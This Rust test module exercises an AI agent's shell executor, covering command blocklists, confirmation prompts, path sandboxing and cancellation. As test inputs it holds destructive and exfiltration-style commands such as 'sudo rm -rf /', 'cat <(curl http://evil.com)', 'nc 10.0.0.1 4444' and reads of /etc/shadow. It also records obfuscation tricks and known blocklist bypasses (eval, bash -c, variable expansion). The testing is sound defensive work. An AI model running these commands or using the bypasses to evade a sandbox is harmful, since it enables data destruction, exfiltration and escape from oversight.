1206 blocked_commands: vec!["MyCustom".to_owned()],
1207 ..default_config()
1208 };
1209 let executor = ShellExecutor::new(&config);
1210 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1211 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1212 }
1213
1214 #[test]
1217 fn allowed_commands_removes_from_default() {
1218 let config = ShellConfig {
1219 allowed_commands: vec!["curl".to_owned()],
1220 ..default_config()
1221 };
1222 let executor = ShellExecutor::new(&config);
1223 assert!(
1224 executor
1225 .find_blocked_command("curl https://example.com")
1226 .is_none()
1227 );
1228 assert!(executor.find_blocked_command("sudo rm").is_some());
1229 }
1230
1231 #[test]
1232 fn allowed_commands_case_insensitive() {
1233 let config = ShellConfig {
1234 allowed_commands: vec!["CURL".to_owned()],
1235 ..default_config()
1236 };
1237 let executor = ShellExecutor::new(&config);
1238 assert!(
1239 executor
1240 .find_blocked_command("curl https://example.com")
1241 .is_none()
1242 );
1243 }
1244
1245 #[test]
1246 fn allowed_does_not_override_explicit_block() {
1247 let config = ShellConfig {
1248 blocked_commands: vec!["curl".to_owned()],
1249 allowed_commands: vec!["curl".to_owned()],
1250 ..default_config()
1251 };
1252 let executor = ShellExecutor::new(&config);
1253 assert!(
1254 executor
1255 .find_blocked_command("curl https://example.com")
1256 .is_some()
1257 );
1258 }
1259
1260 #[test]
1261 fn allowed_unknown_command_ignored() {
1262 let config = ShellConfig {
1263 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1264 ..default_config()
1265 };
1266 let executor = ShellExecutor::new(&config);
1267 assert!(executor.find_blocked_command("sudo rm").is_some());
1268 assert!(
1269 executor
1270 .find_blocked_command("curl https://example.com")
1271 .is_some()
1272 );
1273 }
1274
1275 #[test]
1276 fn empty_allowed_commands_changes_nothing() {
1277 let executor = ShellExecutor::new(&default_config());
1278 assert!(
1279 executor
1280 .find_blocked_command("curl https://example.com")
1281 .is_some()
1282 );
1283 assert!(executor.find_blocked_command("sudo rm").is_some());
1284 assert!(
1285 executor
1286 .find_blocked_command("wget http://evil.com")
1287 .is_some()
1288 );
1289 }
1290
1291 #[test]
1294 fn extract_paths_from_code() {
1295 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1296 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1297 }
1298
1299 #[test]
1300 fn extract_paths_handles_trailing_chars() {
1301 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1302 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1303 }
1304
1305 #[test]
1306 fn extract_paths_detects_relative() {
1307 let paths = extract_paths("cat ./file.txt ../other");
1308 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1309 }
1310
1311 #[test]
1312 fn sandbox_allows_cwd_by_default() {
1313 let executor = ShellExecutor::new(&default_config());
1314 let cwd = std::env::current_dir().unwrap();
1315 let cwd_path = cwd.display().to_string();
1316 let code = format!("cat {cwd_path}/file.txt");
1317 assert!(executor.validate_sandbox(&code).is_ok());
1318 }
1319
1320 #[test]
1321 fn sandbox_rejects_path_outside_allowed() {
1322 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1323 let executor = ShellExecutor::new(&config);
1324 let result = executor.validate_sandbox("cat /etc/passwd");
1325 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1326 }
1327
1328 #[test]
1329 fn sandbox_no_absolute_paths_passes() {
1330 let config = sandbox_config(vec!["/tmp".into()]);
1331 let executor = ShellExecutor::new(&config);
1332 assert!(executor.validate_sandbox("echo hello").is_ok());
1333 }
1334
1335 #[test]
1336 fn sandbox_rejects_dotdot_traversal() {
1337 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1338 let executor = ShellExecutor::new(&config);
1339 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1340 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1341 }
1342
1343 #[test]
1344 fn sandbox_rejects_bare_dotdot() {
1345 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1346 let executor = ShellExecutor::new(&config);
1347 let result = executor.validate_sandbox("cd ..");
1348 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1349 }
1350
1351 #[test]
1352 fn sandbox_rejects_relative_dotslash_outside() {
1353 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1354 let executor = ShellExecutor::new(&config);
1355 let result = executor.validate_sandbox("cat ./secret.txt");
1356 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1357 }
1358
1359 #[test]
1360 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1361 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1362 let executor = ShellExecutor::new(&config);
1363 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1364 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1365 }
1366
1367 #[test]
1368 fn has_traversal_detects_dotdot() {
1369 assert!(has_traversal("../etc/passwd"));
1370 assert!(has_traversal("./foo/../bar"));
1371 assert!(has_traversal("/tmp/sandbox/../../etc"));
1372 assert!(has_traversal(".."));
1373 assert!(!has_traversal("./safe/path"));
1374 assert!(!has_traversal("/absolute/path"));
1375 assert!(!has_traversal("no-dots-here"));
1376 }
1377
1378 #[test]
1379 fn extract_paths_detects_dotdot_standalone() {
1380 let paths = extract_paths("cd ..");
1381 assert_eq!(paths, vec!["..".to_owned()]);
1382 }
1383
1384 #[test]
1387 fn allow_network_false_blocks_network_commands() {
1388 let config = ShellConfig {
1389 allow_network: false,
1390 ..default_config()
1391 };
1392 let executor = ShellExecutor::new(&config);
1393 assert!(
1394 executor
1395 .find_blocked_command("curl https://example.com")
1396 .is_some()
1397 );
1398 assert!(
1399 executor
1400 .find_blocked_command("wget http://example.com")
1401 .is_some()
1402 );
1403 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1404 }
1405
1406 #[test]
1407 fn allow_network_true_keeps_default_behavior() {
1408 let config = ShellConfig {
1409 allow_network: true,
1410 ..default_config()
1411 };
1412 let executor = ShellExecutor::new(&config);
1413 assert!(
1415 executor
1416 .find_blocked_command("curl https://example.com")
1417 .is_some()
1418 );
1419 }
1420
1421 #[test]
1424 fn find_confirm_command_matches_pattern() {
1425 let config = ShellConfig {
1426 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1427 ..default_config()
1428 };
1429 let executor = ShellExecutor::new(&config);
1430 assert_eq!(
1431 executor.find_confirm_command("rm /tmp/file.txt"),
1432 Some("rm ")
1433 );
1434 assert_eq!(
1435 executor.find_confirm_command("git push -f origin main"),
1436 Some("git push -f")
1437 );
1438 }
1439
1440 #[test]
1441 fn find_confirm_command_case_insensitive() {
1442 let config = ShellConfig {
1443 confirm_patterns: vec!["drop table".into()],
1444 ..default_config()
1445 };
1446 let executor = ShellExecutor::new(&config);
1447 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1448 }
1449
1450 #[test]
1451 fn find_confirm_command_no_match() {
1452 let config = ShellConfig {
1453 confirm_patterns: vec!["rm ".into()],
1454 ..default_config()
1455 };
1456 let executor = ShellExecutor::new(&config);
1457 assert!(executor.find_confirm_command("echo hello").is_none());
1458 }
1459
1460 #[tokio::test]
1461 async fn confirmation_required_returned() {
1462 let config = ShellConfig {
1463 confirm_patterns: vec!["rm ".into()],
1464 ..default_config()
1465 };
1466 let executor = ShellExecutor::new(&config);
1467 let response = "```bash\nrm file.txt\n```";
1468 let result = executor.execute(response).await;
1469 assert!(matches!(
1470 result,
1471 Err(ToolError::ConfirmationRequired { .. })
1472 ));
1473 }
1474
1475 #[tokio::test]
1476 async fn execute_confirmed_skips_confirmation() {
1477 let config = ShellConfig {
1478 confirm_patterns: vec!["echo".into()],
1479 ..default_config()
1480 };
1481 let executor = ShellExecutor::new(&config);
1482 let response = "```bash\necho confirmed\n```";
1483 let result = executor.execute_confirmed(response).await;
1484 assert!(result.is_ok());
1485 let output = result.unwrap().unwrap();
1486 assert!(output.summary.contains("confirmed"));
1487 }
1488
1489 #[test]
1492 fn default_confirm_patterns_loaded() {
1493 let config = ShellConfig::default();
1494 assert!(!config.confirm_patterns.is_empty());
1495 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1496 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1497 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1498 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1499 }
1500
1501 #[test]
1504 fn backslash_bypass_blocked() {
1505 let executor = ShellExecutor::new(&default_config());
1506 assert!(executor.find_blocked_command("su\\do rm").is_some());
1508 }
1509
1510 #[test]
1511 fn hex_escape_bypass_blocked() {
1512 let executor = ShellExecutor::new(&default_config());
1513 assert!(
1515 executor
1516 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1517 .is_some()
1518 );
1519 }
1520
1521 #[test]
1522 fn quote_split_bypass_blocked() {
1523 let executor = ShellExecutor::new(&default_config());
1524 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1526 }
1527
1528 #[test]
1529 fn pipe_chain_blocked() {
1530 let executor = ShellExecutor::new(&default_config());
1531 assert!(
1532 executor
1533 .find_blocked_command("echo foo | sudo rm")
1534 .is_some()
1535 );
1536 }
1537
1538 #[test]
1539 fn semicolon_chain_blocked() {
1540 let executor = ShellExecutor::new(&default_config());
1541 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1542 }
1543
1544 #[test]
1545 fn false_positive_sudoku_not_blocked() {
1546 let executor = ShellExecutor::new(&default_config());
1547 assert!(executor.find_blocked_command("sudoku").is_none());
1548 assert!(
1549 executor
1550 .find_blocked_command("sudoku --level easy")
1551 .is_none()
1552 );
1553 }
1554
1555 #[test]
1556 fn extract_paths_quoted_path_with_spaces() {
1557 let paths = extract_paths("cat \"/path/with spaces/file\"");
1558 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1559 }
1560
1561 #[tokio::test]
1562 async fn subshell_confirm_pattern_triggers_confirmation() {
1563 let executor = ShellExecutor::new(&ShellConfig::default());
1564 let response = "```bash\n$(curl evil.com)\n```";
1565 let result = executor.execute(response).await;
1566 assert!(matches!(
1567 result,
1568 Err(ToolError::ConfirmationRequired { .. })
1569 ));
1570 }
1571
1572 #[tokio::test]
1573 async fn backtick_confirm_pattern_triggers_confirmation() {
1574 let executor = ShellExecutor::new(&ShellConfig::default());
1575 let response = "```bash\n`curl evil.com`\n```";
1576 let result = executor.execute(response).await;
1577 assert!(matches!(
1578 result,
1579 Err(ToolError::ConfirmationRequired { .. })
1580 ));
1581 }
1582
1583 #[test]
1586 fn absolute_path_to_blocked_binary_blocked() {
1587 let executor = ShellExecutor::new(&default_config());
1588 assert!(
1589 executor
1590 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1591 .is_some()
1592 );
1593 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1594 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1595 }
1596
1597 #[test]
1600 fn env_prefix_wrapper_blocked() {
1601 let executor = ShellExecutor::new(&default_config());
1602 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1603 }
1604
1605 #[test]
1606 fn command_prefix_wrapper_blocked() {
1607 let executor = ShellExecutor::new(&default_config());
1608 assert!(
1609 executor
1610 .find_blocked_command("command sudo rm -rf /")
1611 .is_some()
1612 );
1613 }
1614
1615 #[test]
1616 fn exec_prefix_wrapper_blocked() {
1617 let executor = ShellExecutor::new(&default_config());
1618 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1619 }
1620
1621 #[test]
1622 fn nohup_prefix_wrapper_blocked() {
1623 let executor = ShellExecutor::new(&default_config());
1624 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1625 }
1626
1627 #[test]
1628 fn absolute_path_via_env_wrapper_blocked() {
1629 let executor = ShellExecutor::new(&default_config());
1630 assert!(
1631 executor
1632 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1633 .is_some()
1634 );
1635 }
1636
1637 #[test]
1640 fn octal_escape_bypass_blocked() {
1641 let executor = ShellExecutor::new(&default_config());
1642 assert!(
1644 executor
1645 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1646 .is_some()
1647 );
1648 }
1649
1650 #[tokio::test]
1651 async fn with_audit_attaches_logger() {
1652 use crate::audit::AuditLogger;
1653 use crate::config::AuditConfig;
1654 let config = default_config();
1655 let executor = ShellExecutor::new(&config);
1656 let audit_config = AuditConfig {
1657 enabled: true,
1658 destination: "stdout".into(),
1659 };
1660 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1661 let executor = executor.with_audit(logger);
1662 assert!(executor.audit_logger.is_some());
1663 }
1664
1665 #[test]
1666 fn chrono_now_returns_valid_timestamp() {
1667 let ts = chrono_now();
1668 assert!(!ts.is_empty());
1669 let parsed: u64 = ts.parse().unwrap();
1670 assert!(parsed > 0);
1671 }
1672
1673 #[cfg(unix)]
1674 #[tokio::test]
1675 async fn execute_bash_injects_extra_env() {
1676 let mut env = std::collections::HashMap::new();
1677 env.insert(
1678 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1679 "hello-from-env".to_owned(),
1680 );
1681 let (result, code) = execute_bash(
1682 "echo $ZEPH_TEST_INJECTED_VAR",
1683 Duration::from_secs(5),
1684 None,
1685 None,
1686 Some(&env),
1687 )
1688 .await;
1689 assert_eq!(code, 0);
1690 assert!(result.contains("hello-from-env"));
1691 }
1692
1693 #[cfg(unix)]
1694 #[tokio::test]
1695 async fn shell_executor_set_skill_env_injects_vars() {
1696 let config = ShellConfig {
1697 timeout: 5,
1698 allowed_commands: vec![],
1699 blocked_commands: vec![],
1700 allowed_paths: vec![],
1701 confirm_patterns: vec![],
1702 allow_network: false,
1703 };
1704 let executor = ShellExecutor::new(&config);
1705 let mut env = std::collections::HashMap::new();
1706 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1707 executor.set_skill_env(Some(env));
1708 use crate::executor::ToolExecutor;
1709 let result = executor
1710 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1711 .await
1712 .unwrap()
1713 .unwrap();
1714 assert!(result.summary.contains("injected-value"));
1715 executor.set_skill_env(None);
1716 }
1717
1718 #[cfg(unix)]
1719 #[tokio::test]
1720 async fn execute_bash_error_handling() {
1721 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1722 assert_eq!(result, "(no output)");
1723 assert_eq!(code, 1);
1724 }
1725
1726 #[cfg(unix)]
1727 #[tokio::test]
1728 async fn execute_bash_command_not_found() {
1729 let (result, _) = execute_bash(
1730 "nonexistent-command-xyz",
1731 Duration::from_secs(5),
1732 None,
1733 None,
1734 None,
1735 )
1736 .await;
1737 assert!(result.contains("[stderr]") || result.contains("[error]"));
1738 }
1739
1740 #[test]
1741 fn extract_paths_empty() {
1742 assert!(extract_paths("").is_empty());
1743 }
1744
1745 #[tokio::test]
1746 async fn policy_deny_blocks_command() {
1747 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1748 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1749 let response = "```bash\nforbidden command\n```";
1750 let result = executor.execute(response).await;
1751 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1752 }
1753
1754 #[tokio::test]
1755 async fn policy_ask_requires_confirmation() {
1756 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1757 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1758 let response = "```bash\nrisky operation\n```";
1759 let result = executor.execute(response).await;
1760 assert!(matches!(
1761 result,
1762 Err(ToolError::ConfirmationRequired { .. })
1763 ));
1764 }
1765
1766 #[tokio::test]
1767 async fn policy_allow_skips_checks() {
1768 use crate::permissions::PermissionRule;
1769 use std::collections::HashMap;
1770 let mut rules = HashMap::new();
1771 rules.insert(
1772 "bash".to_owned(),
1773 vec![PermissionRule {
1774 pattern: "*".to_owned(),
1775 action: PermissionAction::Allow,
1776 }],
1777 );
1778 let policy = PermissionPolicy::new(rules);
1779 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1780 let response = "```bash\necho hello\n```";
1781 let result = executor.execute(response).await;
1782 assert!(result.is_ok());
1783 }
1784
1785 #[tokio::test]
1786 async fn blocked_command_logged_to_audit() {
1787 use crate::audit::AuditLogger;
1788 use crate::config::AuditConfig;
1789 let config = ShellConfig {
1790 blocked_commands: vec!["dangerous".to_owned()],
1791 ..default_config()
1792 };
1793 let audit_config = AuditConfig {
1794 enabled: true,
1795 destination: "stdout".into(),
1796 };
1797 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1798 let executor = ShellExecutor::new(&config).with_audit(logger);
1799 let response = "```bash\ndangerous command\n```";
1800 let result = executor.execute(response).await;
1801 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1802 }
1803
1804 #[test]
1805 fn tool_definitions_returns_bash() {
1806 let executor = ShellExecutor::new(&default_config());
1807 let defs = executor.tool_definitions();
1808 assert_eq!(defs.len(), 1);
1809 assert_eq!(defs[0].id, "bash");
1810 assert_eq!(
1811 defs[0].invocation,
1812 crate::registry::InvocationHint::FencedBlock("bash")
1813 );
1814 }
1815
1816 #[test]
1817 fn tool_definitions_schema_has_command_param() {
1818 let executor = ShellExecutor::new(&default_config());
1819 let defs = executor.tool_definitions();
1820 let obj = defs[0].schema.as_object().unwrap();
1821 let props = obj["properties"].as_object().unwrap();
1822 assert!(props.contains_key("command"));
1823 let req = obj["required"].as_array().unwrap();
1824 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1825 }
1826
1827 #[tokio::test]
1828 #[cfg(not(target_os = "windows"))]
1829 async fn cancel_token_kills_child_process() {
1830 let token = CancellationToken::new();
1831 let token_clone = token.clone();
1832 tokio::spawn(async move {
1833 tokio::time::sleep(Duration::from_millis(100)).await;
1834 token_clone.cancel();
1835 });
1836 let (result, code) = execute_bash(
1837 "sleep 60",
1838 Duration::from_secs(30),
1839 None,
1840 Some(&token),
1841 None,
1842 )
1843 .await;
1844 assert_eq!(code, 130);
1845 assert!(result.contains("[cancelled]"));
1846 }
1847
1848 #[tokio::test]
1849 #[cfg(not(target_os = "windows"))]
1850 async fn cancel_token_none_does_not_cancel() {
1851 let (result, code) =
1852 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1853 assert_eq!(code, 0);
1854 assert!(result.contains("ok"));
1855 }
1856
1857 #[tokio::test]
1858 #[cfg(not(target_os = "windows"))]
1859 async fn cancel_kills_child_process_group() {
1860 use std::path::Path;
1861 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1862 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1863 let token = CancellationToken::new();
1864 let token_clone = token.clone();
1865 tokio::spawn(async move {
1866 tokio::time::sleep(Duration::from_millis(200)).await;
1867 token_clone.cancel();
1868 });
1869 let (result, code) =
1870 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1871 assert_eq!(code, 130);
1872 assert!(result.contains("[cancelled]"));
1873 tokio::time::sleep(Duration::from_millis(500)).await;
1875 assert!(
1876 !Path::new(&marker).exists(),
1877 "subprocess should have been killed with process group"
1878 );
1879 }
1880
1881 #[tokio::test]
1882 #[cfg(not(target_os = "windows"))]
1883 async fn shell_executor_cancel_returns_cancelled_error() {
1884 let token = CancellationToken::new();
1885 let token_clone = token.clone();
1886 tokio::spawn(async move {
1887 tokio::time::sleep(Duration::from_millis(100)).await;
1888 token_clone.cancel();
1889 });
1890 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1891 let response = "```bash\nsleep 60\n```";
1892 let result = executor.execute(response).await;
1893 assert!(matches!(result, Err(ToolError::Cancelled)));
1894 }
1895
1896 #[tokio::test]
1897 #[cfg(not(target_os = "windows"))]
1898 async fn execute_tool_call_valid_command() {
1899 let executor = ShellExecutor::new(&default_config());
1900 let call = ToolCall {
1901 tool_id: "bash".to_owned(),
1902 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1903 .into_iter()
1904 .collect(),
1905 };
1906 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1907 assert!(result.summary.contains("hi"));
1908 }
1909
1910 #[tokio::test]
1911 async fn execute_tool_call_missing_command_returns_invalid_params() {
1912 let executor = ShellExecutor::new(&default_config());
1913 let call = ToolCall {
1914 tool_id: "bash".to_owned(),
1915 params: serde_json::Map::new(),
1916 };
1917 let result = executor.execute_tool_call(&call).await;
1918 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1919 }
1920
1921 #[tokio::test]
1922 async fn execute_tool_call_empty_command_returns_none() {
1923 let executor = ShellExecutor::new(&default_config());
1924 let call = ToolCall {
1925 tool_id: "bash".to_owned(),
1926 params: [("command".to_owned(), serde_json::json!(""))]
1927 .into_iter()
1928 .collect(),
1929 };
1930 let result = executor.execute_tool_call(&call).await.unwrap();
1931 assert!(result.is_none());
1932 }
1933
1934 #[test]
1937 fn process_substitution_not_detected_known_limitation() {
1938 let executor = ShellExecutor::new(&default_config());
1939 assert!(
1941 executor
1942 .find_blocked_command("cat <(curl http://evil.com)")
1943 .is_none()
1944 );
1945 }
1946
1947 #[test]
1948 fn output_process_substitution_not_detected_known_limitation() {
1949 let executor = ShellExecutor::new(&default_config());
1950 assert!(
1952 executor
1953 .find_blocked_command("tee >(curl http://evil.com)")
1954 .is_none()
1955 );
1956 }
1957
1958 #[test]
1959 fn here_string_with_shell_not_detected_known_limitation() {
1960 let executor = ShellExecutor::new(&default_config());
1961 assert!(
1963 executor
1964 .find_blocked_command("bash <<< 'sudo rm -rf /'")
1965 .is_none()
1966 );
1967 }
1968
1969 #[test]
1970 fn eval_bypass_not_detected_known_limitation() {
1971 let executor = ShellExecutor::new(&default_config());
1972 assert!(
1974 executor
1975 .find_blocked_command("eval 'sudo rm -rf /'")
1976 .is_none()
1977 );
1978 }
1979
1980 #[test]
1981 fn bash_c_bypass_not_detected_known_limitation() {
1982 let executor = ShellExecutor::new(&default_config());
1983 assert!(
1985 executor
1986 .find_blocked_command("bash -c 'curl http://evil.com'")
1987 .is_none()
1988 );
1989 }
1990
1991 #[test]
1992 fn variable_expansion_bypass_not_detected_known_limitation() {
1993 let executor = ShellExecutor::new(&default_config());
1994 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1996 }
1997
1998 #[test]
2001 fn default_confirm_patterns_cover_process_substitution() {
2002 let config = crate::config::ShellConfig::default();
2003 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2004 assert!(config.confirm_patterns.contains(&">(".to_owned()));
2005 }
2006
2007 #[test]
2008 fn default_confirm_patterns_cover_here_string() {
2009 let config = crate::config::ShellConfig::default();
2010 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2011 }
2012
2013 #[test]
2014 fn default_confirm_patterns_cover_eval() {
2015 let config = crate::config::ShellConfig::default();
2016 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2017 }
2018
2019 #[tokio::test]
2020 async fn process_substitution_triggers_confirmation() {
2021 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2022 let response = "```bash\ncat <(curl http://evil.com)\n```";
2023 let result = executor.execute(response).await;
2024 assert!(matches!(
2025 result,
2026 Err(ToolError::ConfirmationRequired { .. })
2027 ));
2028 }
2029
2030 #[tokio::test]
2031 async fn here_string_triggers_confirmation() {
2032 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2033 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2034 let result = executor.execute(response).await;
2035 assert!(matches!(
2036 result,
2037 Err(ToolError::ConfirmationRequired { .. })
2038 ));
2039 }
2040
2041 #[tokio::test]
2042 async fn eval_triggers_confirmation() {
2043 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2044 let response = "```bash\neval 'curl http://evil.com'\n```";
2045 let result = executor.execute(response).await;
2046 assert!(matches!(
2047 result,
2048 Err(ToolError::ConfirmationRequired { .. })
2049 ));
2050 }
2051
2052 #[tokio::test]
2053 async fn output_process_substitution_triggers_confirmation() {
2054 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2055 let response = "```bash\ntee >(curl http://evil.com)\n```";
2056 let result = executor.execute(response).await;
2057 assert!(matches!(
2058 result,
2059 Err(ToolError::ConfirmationRequired { .. })
2060 ));
2061 }
2062
2063 #[test]
2064 fn here_string_with_command_substitution_not_detected_known_limitation() {
2065 let executor = ShellExecutor::new(&default_config());
2066 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2068 }
2069
2070 fn default_blocklist() -> Vec<String> {
2073 DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2074 }
2075
2076 #[test]
2077 fn check_blocklist_blocks_rm_rf_root() {
2078 let bl = default_blocklist();
2079 assert!(check_blocklist("rm -rf /", &bl).is_some());
2080 }
2081
2082 #[test]
2083 fn check_blocklist_blocks_sudo() {
2084 let bl = default_blocklist();
2085 assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2086 }
2087
2088 #[test]
2089 fn check_blocklist_allows_safe_commands() {
2090 let bl = default_blocklist();
2091 assert!(check_blocklist("ls -la", &bl).is_none());
2092 assert!(check_blocklist("echo hello world", &bl).is_none());
2093 assert!(check_blocklist("git status", &bl).is_none());
2094 assert!(check_blocklist("cargo build --release", &bl).is_none());
2095 }
2096
2097 #[test]
2098 fn check_blocklist_blocks_subshell_dollar_paren() {
2099 let bl = default_blocklist();
2100 assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2102 assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2103 }
2104
2105 #[test]
2106 fn check_blocklist_blocks_subshell_backtick() {
2107 let bl = default_blocklist();
2108 assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2109 }
2110
2111 #[test]
2112 fn check_blocklist_blocks_mkfs() {
2113 let bl = default_blocklist();
2114 assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2115 }
2116
2117 #[test]
2118 fn check_blocklist_blocks_shutdown() {
2119 let bl = default_blocklist();
2120 assert!(check_blocklist("shutdown -h now", &bl).is_some());
2121 }
2122
2123 #[test]
2126 fn effective_shell_command_bash_minus_c() {
2127 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2128 assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2129 }
2130
2131 #[test]
2132 fn effective_shell_command_sh_minus_c() {
2133 let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2134 assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2135 }
2136
2137 #[test]
2138 fn effective_shell_command_non_shell_returns_none() {
2139 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2140 assert_eq!(effective_shell_command("git", &args), None);
2141 assert_eq!(effective_shell_command("cargo", &args), None);
2142 }
2143
2144 #[test]
2145 fn effective_shell_command_no_minus_c_returns_none() {
2146 let args = vec!["script.sh".to_owned()];
2147 assert_eq!(effective_shell_command("bash", &args), None);
2148 }
2149
2150 #[test]
2151 fn effective_shell_command_full_path_shell() {
2152 let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2153 assert_eq!(
2154 effective_shell_command("/usr/bin/bash", &args),
2155 Some("sudo rm")
2156 );
2157 }
2158}